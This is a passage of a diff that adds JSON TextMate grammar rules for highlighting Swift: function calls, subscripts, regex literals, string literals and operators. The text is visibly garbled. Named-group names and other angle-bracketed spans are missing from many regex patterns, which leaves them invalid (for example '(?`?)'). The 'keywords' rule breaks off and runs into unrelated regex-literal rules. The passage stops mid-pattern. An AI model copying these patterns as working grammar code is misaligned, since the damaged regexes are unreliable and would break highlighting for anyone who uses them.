"expressions-without-trailing-closures-or-member-references-function-or-macro-call-expression": { + "patterns": [ + { + "comment": "foo(args) -- a call whose callee is a highlightable name", + "name": "meta.function-call.swift", + "begin": "(#?(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + { + "comment": "[Int](args) -- a call whose callee is a more complicated expression", + "name": "meta.function-call.swift", + "begin": "(?<=[`\\])}>\\p{L}_\\p{N}\\p{M}])\\s*(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + } + ] + }, + "expressions-without-trailing-closures-or-member-references-macro-expansion": { + "name": "support.function.any-method.swift", + "match": "(#(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))" + }, + "expressions-without-trailing-closures-or-member-references-parenthesized-expression": { + "comment": "correctly matching closure expressions is too hard (depends on trailing \"in\") so we just tack on some basics to the end of parenthesized-expression", + "begin": "\\(", + "end": "(\\))\\s*((?:\\b(?:async|throws|rethrows)\\s)*)", + "beginCaptures": { + "0": { + "name": "punctuation.section.tuple.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.section.tuple.end.swift" + }, + "2": { + "patterns": [ + { + "name": "invalid.illegal.rethrows-only-allowed-on-function-declarations.swift", + "match": "\\brethrows\\b" + }, + { + "include": "#async-throws" + } + ] + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-subscript-expression": { + "name": "meta.subscript-expression.swift", + "begin": "(?<=[`\\p{L}_\\p{N}\\p{M}])\\s*(\\[)", + "end": "\\]", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + "keywords": { + "patterns": [ + { + "name": "keyword.control.branch.swift", + "match": "(?\n (?> # no backtracking, avoids issues with negative lookbehind at end\n (?:\n \\\\Q\n (?:(?!\\\\E)(?!/\\2).)*+\n (?:\\\\E\n # A quoted sequence may not have a closing E, in which case it extends to the end of the regex\n | (?(3)|(?(\\{(?:\\g<-1>|(?!{).*?)\\}))\n (?:\\[(?!\\d)\\w+\\])?\n [X<>]?\n \\)\n | (?\\[ (?:\\\\. | [^\\[\\]] | \\g)+ \\])\n | \\(\\g?+\\)\n | (?:(?!/\\2)[^()\\[\\\\])+ # any character (until end)\n )+\n )\n)?+\n# may end with a space only if it is an extended literal or contains only a single escaped space\n(?(3)|(?(5)(?'\n '\\g<' NamedOrNumberRef '>'", + "match": "(?x)(\\\\[gk]<) (?: ((?!\\d)\\w+) (?:([+-])(\\d+))? | ([+-]?\\d+) (?:([+-])(\\d+))? ) (>)", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "6": { + "name": "keyword.operator.recursion-level.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "comment": "\"\\k'\" NamedOrNumberRef \"'\"\n \"\\g'\" NamedOrNumberRef \"'\"", + "match": "(?x)(\\\\[gk]') (?: ((?!\\d)\\w+) (?:([+-])(\\d+))? | ([+-]?\\d+) (?:([+-])(\\d+))? ) (')", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "6": { + "name": "keyword.operator.recursion-level.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "comment": "'\\k{' NamedRef '}'", + "match": "(?x)(\\\\k\\{) ((?!\\d)\\w+) (?:([+-])(\\d+))? (\\})", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "name": "keyword.other.back-reference.regexp", + "match": "\\\\[1-9][0-9]+" + }, + { + "comment": "'(?P=' NamedRef ')'", + "match": "(?x)(\\(\\?(?:P[=>]|&)) ((?!\\d)\\w+) (?:([+-])(\\d+))? (\\))", + "captures": { + "1": { + "name": "keyword.other.back-reference.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.other.back-reference.regexp" + } + } + }, + { + "name": "keyword.other.back-reference.regexp", + "match": "\\(\\?R\\)" + }, + { + "comment": "'(?' NumberRef ')'", + "match": "(?x)(\\(\\?) ([+-]?\\d+) (?:([+-])(\\d+))? (\\))", + "captures": { + "1": { + "name": "keyword.other.back-reference.regexp" + }, + "2": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.other.back-reference.regexp" + } + } + } + ] + }, + "literals-regular-expression-literal-backtracking-directive-or-global-matching-option": { + "match": "(?x)\n(\\(\\*)\n(?:\n (ACCEPT|FAIL|F|MARK(?=:)|(?=:)|COMMIT|PRUNE|SKIP|THEN)\n (?:(:)([^)]+))?\n | (?:(LIMIT_(?:DEPTH|HEAP|MATCH))(=)(\\d+))\n | (\n CRLF | CR | ANYCRLF | ANY | LF | NUL\n | BSR_ANYCRLF | BSR_UNICODE\n | NOTEMPTY_ATSTART | NOTEMPTY\n | NO_AUTO_POSSESS | NO_DOTSTAR_ANCHOR\n | NO_JIT | NO_START_OPT | UTF | UCP\n )\n)\n(\\))", + "captures": { + "1": { + "name": "keyword.control.directive.regexp" + }, + "2": { + "name": "keyword.control.directive.regexp" + }, + "3": { + "name": "keyword.control.directive.regexp" + }, + "4": { + "name": "variable.language.tag.regexp" + }, + "5": { + "name": "keyword.control.directive.regexp" + }, + "6": { + "name": "keyword.operator.assignment.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "keyword.control.directive.regexp" + }, + "9": { + "name": "keyword.control.directive.regexp" + } + } + }, + "literals-regular-expression-literal-callout": { + "name": "meta.callout.regexp", + "match": "(?x)\n# PCRECallout\n(\\()(?\\?C)\n (?:\n (?\\d+)\n | `(?(?:[^`]|``)*)`\n | '(?(?:[^']|'')*)'\n | \"(?(?:[^\"]|\"\")*)\"\n | \\^(?(?:[^\\^]|\\^\\^)*)\\^\n | %(?(?:[^%]|%%)*)%\n | \\#(?(?:[^#]|\\#\\#)*)\\#\n | \\$(?(?:[^$]|\\$\\$)*)\\$\n | \\{(?(?:[^}]|\\}\\})*)\\}\n )?\n(\\))\n# NamedCallout\n| (\\()(?\\*)\n (?(?!\\d)\\w+)\n (?:\\[(?(?!\\d)\\w+)\\])?\n (?:\\{ [^,}]+ (?:,[^,}]+)* \\})?\n (\\))\n# InterpolatedCallout\n| (\\()(?\\?)\n (?>(\\{(?:\\g<-1>|(?!{).*?)\\}))\n (?:\\[(?(?!\\d)\\w+)\\])?\n (?[X<>]?)\n (\\))", + "captures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.callout.regexp" + }, + "3": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "4": { + "name": "entity.name.function.callout.regexp" + }, + "5": { + "name": "entity.name.function.callout.regexp" + }, + "6": { + "name": "entity.name.function.callout.regexp" + }, + "7": { + "name": "entity.name.function.callout.regexp" + }, + "8": { + "name": "entity.name.function.callout.regexp" + }, + "9": { + "name": "entity.name.function.callout.regexp" + }, + "10": { + "name": "entity.name.function.callout.regexp" + }, + "11": { + "name": "entity.name.function.callout.regexp" + }, + "12": { + "name": "punctuation.definition.group.regexp" + }, + "13": { + "name": "punctuation.definition.group.regexp" + }, + "14": { + "name": "keyword.control.callout.regexp" + }, + "15": { + "name": "entity.name.function.callout.regexp" + }, + "16": { + "name": "variable.language.tag-name.regexp" + }, + "17": { + "name": "punctuation.definition.group.regexp" + }, + "18": { + "name": "punctuation.definition.group.regexp" + }, + "19": { + "name": "keyword.control.callout.regexp" + }, + "21": { + "name": "variable.language.tag-name.regexp" + }, + "22": { + "name": "keyword.control.callout.regexp" + }, + "23": { + "name": "punctuation.definition.group.regexp" + } + } + }, + "literals-regular-expression-literal-character-properties": { + "name": "constant.other.character-class.set.regexp", + "match": "(?x)\n\\\\[pP]\\{ ([\\s\\w-]+(?:=[\\s\\w-]+)?) \\}\n| (\\[:) ([\\s\\w-]+(?:=[\\s\\w-]+)?) (:\\])", + "captures": { + "1": { + "name": "support.variable.character-property.regexp" + }, + "2": { + "name": "punctuation.definition.character-class.regexp" + }, + "3": { + "name": "support.variable.character-property.regexp" + }, + "4": { + "name": "punctuation.definition.character-class.regexp" + } + } + }, + "literals-regular-expression-literal-custom-char-class": { + "patterns": [ + { + "name": "constant.other.character-class.set.regexp", + "begin": "(\\[)(\\^)?", + "end": "\\]", + "beginCaptures": { + "1": { + "name": "punctuation.definition.character-class.regexp" + }, + "2": { + "name": "keyword.operator.negation.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.character-class.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-custom-char-class-members" + } + ] + } + ] + }, + "literals-regular-expression-literal-custom-char-class-members": { + "comment": "TODO: should also include atoms?", + "patterns": [ + { + "comment": "\\b inside a character class represents a backspace", + "name": "constant.character.escape.backslash.regexp", + "match": "\\\\b" + }, + { + "include": "#literals-regular-expression-literal-custom-char-class" + }, + { + "include": "#literals-regular-expression-literal-quote" + }, + { + "include": "#literals-regular-expression-literal-set-operators" + }, + { + "include": "#literals-regular-expression-literal-unicode-scalars" + }, + { + "include": "#literals-regular-expression-literal-character-properties" + } + ] + }, + "literals-regular-expression-literal-group-option-toggle": { + "comment": "A matching option sequence may be part of an \"isolated group\" which has an implicit scope that wraps the remaining elements of the current group", + "name": "keyword.other.option-toggle.regexp", + "match": "(?x)\n\\(\\?\n(?:\n \\^(?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})+\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})* - (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n)\n\\)" + }, + "literals-regular-expression-literal-group-or-conditional": { + "patterns": [ + { + "name": "meta.group.absent.regexp", + "begin": "(\\()(\\?~)", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.conditional.absent.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + }, + { + "name": "meta.group.conditional.regexp", + "begin": "(?x)\n# KnownConditionalStart\n(\\() (?\\?\\()\n (?:\n (? (?[+-]?\\d+)(?:(?[+-])(?\\d+))? )\n | (?R) \\g?\n | (?R&) (? (?(?!\\d)\\w+) (?:(?[+-])(?\\d+))? )\n | (?<) (?:\\g|\\g) (?>)\n | (?') (?:\\g|\\g) (?')\n | (?DEFINE)\n | (?VERSION)(?>?=)(?\\d+\\.\\d+)\n )\n(?\\))\n| (\\()(?\\?)(?=\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.conditional.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.operator.recursion-level.regexp" + }, + "6": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "7": { + "name": "keyword.control.conditional.regexp" + }, + "8": { + "name": "keyword.control.conditional.regexp" + }, + "10": { + "name": "variable.other.group-name.regexp" + }, + "11": { + "name": "keyword.operator.recursion-level.regexp" + }, + "12": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "13": { + "name": "keyword.control.conditional.regexp" + }, + "14": { + "name": "keyword.control.conditional.regexp" + }, + "15": { + "name": "keyword.control.conditional.regexp" + }, + "16": { + "name": "keyword.control.conditional.regexp" + }, + "17": { + "name": "keyword.control.conditional.regexp" + }, + "18": { + "name": "keyword.control.conditional.regexp" + }, + "19": { + "name": "keyword.operator.comparison.regexp" + }, + "20": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "21": { + "name": "keyword.control.conditional.regexp" + }, + "22": { + "name": "punctuation.definition.group.regexp" + }, + "23": { + "name": "keyword.control.conditional.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + }, + { + "name": "meta.group.regexp", + "begin": "(?x)\n(\\()\n(\n # BasicGroupKind\n (\\?)\n (?:\n ([:|>=!*] | <[=!*])\n # named groups\n | P?< (?:((?!\\d)\\w+) (-))? ((?!\\d)\\w+) >\n | ' (?:((?!\\d)\\w+) (-))? ((?!\\d)\\w+) '\n # matching options\n | (?:\n \\^(?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})+\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})* - (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n ): # case without : is handled by group-option-toggle\n )\n # PCRE2GroupKind\n | \\*(\n atomic\n |pla|positive_lookahead\n |nla|negative_lookahead\n |plb|positive_lookbehind\n |nlb|negative_lookbehind\n |napla|non_atomic_positive_lookahead\n |naplb|non_atomic_positive_lookbehind\n |sr|script_run\n |asr|atomic_script_run\n ):\n)?+", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.other.group-options.regexp" + }, + "3": { + "name": "punctuation.definition.group.regexp" + }, + "4": { + "name": "punctuation.definition.group.regexp" + }, + "5": { + "name": "variable.other.group-name.regexp" + }, + "6": { + "name": "keyword.operator.balancing-group.regexp" + }, + "7": { + "name": "variable.other.group-name.regexp" + }, + "8": { + "name": "variable.other.group-name.regexp" + }, + "9": { + "name": "keyword.operator.balancing-group.regexp" + }, + "10": { + "name": "variable.other.group-name.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + } + ] + }, + "literals-regular-expression-literal-line-comment": { + "name": "comment.line.regexp", + "match": "(\\#).*$", + "captures": { + "1": { + "name": "punctuation.definition.comment.regexp" + } + } + }, + "literals-regular-expression-literal-quote": { + "name": "string.quoted.other.regexp.swift", + "begin": "\\\\Q", + "end": "\\\\E|(\\n)", + "beginCaptures": { + "0": { + "name": "constant.character.escape.backslash.regexp" + } + }, + "endCaptures": { + "0": { + "name": "constant.character.escape.backslash.regexp" + }, + "1": { + "name": "invalid.illegal.returns-not-allowed.regexp" + } + } + }, + "literals-regular-expression-literal-regex-guts": { + "patterns": [ + { + "include": "#literals-regular-expression-literal-quote" + }, + { + "name": "comment.block.regexp", + "begin": "\\(\\?\\#", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.regexp" + } + } + }, + { + "name": "meta.embedded.expression.regexp", + "begin": "<\\{", + "end": "\\}>", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.regexp" + } + } + }, + { + "include": "#literals-regular-expression-literal-unicode-scalars" + }, + { + "include": "#literals-regular-expression-literal-character-properties" + }, + { + "name": "keyword.control.anchor.regexp", + "match": "[$^]|\\\\[AbBGyYzZ]|\\\\K" + }, + { + "include": "#literals-regular-expression-literal-backtracking-directive-or-global-matching-option" + }, + { + "include": "#literals-regular-expression-literal-callout" + }, + { + "include": "#literals-regular-expression-literal-backreference-or-subpattern" + }, + { + "name": "constant.character.character-class.regexp", + "match": "\\.|\\\\[CdDhHNORsSvVwWX]" + }, + { + "name": "constant.character.entity.control-character.regexp", + "match": "\\\\c." + }, + { + "name": "constant.character.escape.backslash.regexp", + "match": "\\\\[^c]" + }, + { + "name": "keyword.operator.or.regexp", + "match": "\\|" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "[*+?]" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "\\{\\s*\\d+\\s*(?:,\\s*\\d*\\s*)?\\}|\\{\\s*,\\s*\\d+\\s*\\}" + }, + { + "include": "#literals-regular-expression-literal-custom-char-class" + }, + { + "include": "#literals-regular-expression-literal-group-option-toggle" + }, + { + "include": "#literals-regular-expression-literal-group-or-conditional" + } + ] + }, + "literals-regular-expression-literal-set-operators": { + "patterns": [ + { + "name": "keyword.operator.intersection.regexp.swift", + "match": "&&" + }, + { + "name": "keyword.operator.subtraction.regexp.swift", + "match": "--" + }, + { + "name": "keyword.operator.symmetric-difference.regexp.swift", + "match": "\\~\\~" + } + ] + }, + "literals-regular-expression-literal-unicode-scalars": { + "name": "constant.character.numeric.regexp", + "match": "(?x)\n\\\\u\\{\\s*(?:[0-9a-fA-F]+\\s*)+\\}\n| \\\\u[0-9a-fA-F]{4}\n| \\\\x\\{[0-9a-fA-F]+\\}\n| \\\\x[0-9a-fA-F]{0,2}\n| \\\\U[0-9a-fA-F]{8}\n| \\\\o\\{[0-7]+\\}\n| \\\\0[0-7]{0,3}\n| \\\\N\\{(?:U\\+[0-9a-fA-F]{1,8} | [\\s\\w-]+)\\}" + }, + "literals-string": { + "patterns": [ + { + "comment": "SE-0168: Multi-Line String Literals", + "name": "string.quoted.double.block.swift", + "begin": "\"\"\"", + "end": "\"\"\"(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + }, + { + "name": "constant.character.escape.newline.swift", + "match": "\\\\\\s*\\n" + }, + { + "include": "#literals-string-string-guts" + }, + { + "comment": "Allow \\(\"\"\"...\"\"\") to appear inside a block string", + "name": "invalid.illegal.content-before-closing-delimiter.swift", + "match": "\\S((?!\\\\\\().)*(?=\"\"\")" + } + ] + }, + { + "name": "string.quoted.double.block.raw.swift", + "begin": "#\"\"\"", + "end": "\"\"\"#(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + }, + { + "name": "constant.character.escape.newline.swift", + "match": "\\\\#\\s*\\n" + }, + { + "include": "#literals-string-raw-string-guts" + }, + { + "comment": "Allow \\(\"\"\"...\"\"\") to appear inside a block string", + "name": "invalid.illegal.content-before-closing-delimiter.swift", + "match": "\\S((?!\\\\#\\().)*(?=\"\"\")" + } + ] + }, + { + "name": "string.quoted.double.block.raw.swift", + "begin": "(##+)\"\"\"", + "end": "\"\"\"\\1(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + } + ] + }, + { + "name": "string.quoted.double.single-line.swift", + "begin": "\"", + "end": "\"(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + }, + { + "include": "#literals-string-string-guts" + } + ] + }, + { + "comment": "SE-0168: raw string literals (more than one #, grammar limitations prevent us from supporting escapes)", + "name": "string.quoted.double.single-line.raw.swift", + "begin": "(##+)\"", + "end": "\"\\1(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.raw.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.raw.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + } + ] + }, + { + "comment": "SE-0168: raw string literals (one #, escapes supported)", + "name": "string.quoted.double.single-line.raw.swift", + "begin": "#\"", + "end": "\"#(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.raw.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.raw.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + }, + { + "include": "#literals-string-raw-string-guts" + } + ] + } + ] + }, + "literals-string-raw-string-guts": { + "comment": "the same as #string-guts but with # in escapes", + "patterns": [ + { + "name": "constant.character.escape.swift", + "match": "\\\\#[0\\\\tnr\"']" + }, + { + "name": "constant.character.escape.unicode.swift", + "match": "\\\\#u\\{[0-9a-fA-F]{1,8}\\}" + }, + { + "contentName": "source.swift", + "name": "meta.embedded.line.swift", + "begin": "\\\\#\\(", + "end": "(\\))", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.swift" + }, + "1": { + "name": "source.swift" + } + }, + "patterns": [ + { + "include": "$self" + }, + { + "comment": "Nested parens", + "begin": "\\(", + "end": "\\)" + } + ] + }, + { + "name": "invalid.illegal.escape-not-recognized", + "match": "\\\\#." + } + ] + }, + "literals-string-string-guts": { + "patterns": [ + { + "name": "constant.character.escape.swift", + "match": "\\\\[0\\\\tnr\"']" + }, + { + "name": "constant.character.escape.unicode.swift", + "match": "\\\\u\\{[0-9a-fA-F]{1,8}\\}" + }, + { + "contentName": "source.swift", + "name": "meta.embedded.line.swift", + "begin": "\\\\\\(", + "end": "(\\))", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.swift" + }, + "1": { + "name": "source.swift" + } + }, + "patterns": [ + { + "include": "$self" + }, + { + "comment": "Nested parens", + "begin": "\\(", + "end": "\\)" + } + ] + }, + { + "name": "invalid.illegal.escape-not-recognized", + "match": "\\\\." + } + ] + }, + "member-reference": { + "patterns": [ + { + "match": "(?<=\\.)((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "1": { + "name": "variable.other.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + } + } + ] + }, + "operators": { + "patterns": [ + { + "comment": "Type casting", + "name": "keyword.operator.type-casting.swift", + "match": "\\b(is\\b|as([!?]\\B|\\b))" + }, + { + "comment": "This rule helps us speed up the matching.", + "begin": "(?x)\n(?=\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n | \\.\n (\n \\g # operator-head\n | \\.\n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)", + "end": "(?!\\G)", + "patterns": [ + { + "comment": "Prefix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?<=^|[\\s(\\[{,;:])\n(\n (?!(//|/\\*|\\*/))\n (\n [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?![\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G(\\+\\+|\\-\\-)$" + }, + { + "name": "keyword.operator.arithmetic.unary.swift", + "match": "\\G(\\+|\\-)$" + }, + { + "name": "keyword.operator.logical.not.swift", + "match": "\\G!$" + }, + { + "name": "keyword.operator.bitwise.not.swift", + "match": "\\G~$" + }, + { + "name": "keyword.operator.custom.prefix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Postfix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?=[\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G(\\+\\+|\\-\\-)$" + }, + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G!$" + }, + { + "name": "keyword.operator.custom.postfix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Infix operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(\n (?!(//|/\\*|\\*/))\n (\n [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | 